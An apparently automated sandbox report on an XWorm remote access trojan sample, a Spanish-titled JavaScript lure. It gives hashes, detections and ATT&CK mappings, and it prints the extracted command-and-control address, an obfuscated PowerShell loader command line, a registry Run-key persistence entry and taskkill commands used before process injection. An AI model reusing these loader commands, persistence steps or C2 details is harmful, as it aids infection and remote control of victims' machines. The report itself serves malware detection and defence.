xworm | 939a602b569d795a1bebace69b1f41843a5deb49f67fecb8b3a55dfea69524f4

Analysis

max time kernel
149s
max time network
26s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/09/2026, 10:19

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General

Target
COMUNICACIÓN URGENTE CAMBIO DE MEDIDA.js
Size 59KB
Sample260925-mclsbadc98
SHA256 939a602b569d795a1bebace69b1f41843a5deb49f67fecb8b3a55dfea69524f4
MD5 f88753bca78133ec113f3a92a0f07d24
SHA1 35e1cc8983929d98cf6e8c9ad9c95ef1cb638a2f
SHA512 6031056ea13d9fb3354f9b526f2282bd9c0f87e087f06874a9a3f30a9314991e0ca712ff0776da3e4a553dfb876082e2420504d39d8351556973f6708bb4972d
SSDEEP 768:7woJ9SoFMwXcOc4FJekp0KTKtdl+LFd5vwFi3AhiFzGWmy+vJMoZ:yeeQd86wdZ
TLSH
T1C9534143C39BCC08B270A1D4D60AF11F99A48D6274F59887A169E5DEFBBC824D06F6F1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

loganwolverin2042.webredirect.org:4521

Mutex

56sBRz1avy5CEo57

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/memory/5132-21-0x000001C57A560000-0x000001C57A56E000-memory.dmp	family_xworm
behavioral2/memory/5132-23-0x000001C57A560000-0x000001C57A56E000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1256	1812	cmd.exe	89

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	1500	powershell.exe
3	1500	powershell.exe
4	1500	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2548	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4280978039-528710165-233981602-1000\Software\Microsoft\Windows\CurrentVersion\Run\kiklffdcec = "\"C:\\ProgramData\\Winup.js\""	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1500 set thread context of 5132	1500	powershell.exe	101

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1256	cmd.exe
1860	cmd.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
204	taskkill.exe
796	taskkill.exe
6052	taskkill.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1500	powershell.exe
1500	powershell.exe
1500	powershell.exe
2548	powershell.exe
2548	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	2548	powershell.exe
Token: SeDebugPrivilege	204	taskkill.exe
Token: SeDebugPrivilege	796	taskkill.exe
Token: SeDebugPrivilege	6052	taskkill.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1256 wrote to memory of 1500	1256	cmd.exe	92
PID 1500 wrote to memory of 2548	1500	powershell.exe	93
PID 2548 wrote to memory of 1860	2548	powershell.exe	96
PID 1860 wrote to memory of 204	1860	cmd.exe	98
PID 1860 wrote to memory of 796	1860	cmd.exe	99
PID 1860 wrote to memory of 6052	1860	cmd.exe	100
PID 1500 wrote to memory of 5132	1500	powershell.exe	101
PID 1500 wrote to memory of 5132	1500	powershell.exe	101
PID 1500 wrote to memory of 5132	1500	powershell.exe	101
PID 1500 wrote to memory of 5132	1500	powershell.exe	101
PID 1500 wrote to memory of 5132	1500	powershell.exe	101
PID 1500 wrote to memory of 5132	1500	powershell.exe	101

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\COMUNICACIÓN URGENTE CAMBIO DE MEDIDA.js"
1⤵
PID:2188

C:\Windows\system32\cmd.exe
cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe .($env:ComSpec[4,26,25]-join'') $env:FdShrmdhz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\COMUNICACIÓN URGENTE CAMBIO DE MEDIDA.js -Destination 'C:\ProgramData\Winup.js' -Force
1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .($env:ComSpec[4,26,25]-join'') $env:FdShrmdhz; Copy-Item -Path C:\Users\Admin\AppData\Local\Temp\COMUNICACIÓN URGENTE CAMBIO DE MEDIDA.js -Destination 'C:\ProgramData\Winup.js' -Force
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2548
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1860
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:204
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:796
    - - C:\Windows\System32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6052
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe"
    3⤵
    PID:5132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3924

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1f8b172413df433c517e3de2ac99e4bee6c8828c0442eed1f883f172acdc37f6
MD5 df661ddc5af27506774e7ee768530a91
SHA1 3df4f543a163b9b3b38bdfff596e5bb76f065c71
SHA512 155f45b4726ef3891e63db6891ca3f905188760e66c40916157f9181b295e11067dd23d76c07090246ca353eb5fd2760d9e576a2d4301cbe38d67ae5eab073bb
TLSH
T170216A37F3DC8625DC8A403A10CDAC1576B687DB40DECFABBB84D558A42F599CF61260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1500-12-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-13-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-6-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-0-0x00007FF8A476F000-0x00007FF8A4770000-memory.dmp

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memory/1500-7-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-8-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-9-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-10-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-4-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-11-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-5-0x00000201521C0000-0x00000201521E2000-memory.dmp

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memory/1500-14-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-15-0x0000020152200000-0x0000020152214000-memory.dmp

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memory/1500-16-0x0000020152210000-0x0000020152218000-memory.dmp

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memory/1500-17-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-26-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/1500-1-0x00007FF8A45E0000-0x00007FF8A4F84000-memory.dmp

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memory/5132-23-0x000001C57A560000-0x000001C57A56E000-memory.dmp

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memory/5132-21-0x000001C57A560000-0x000001C57A56E000-memory.dmp

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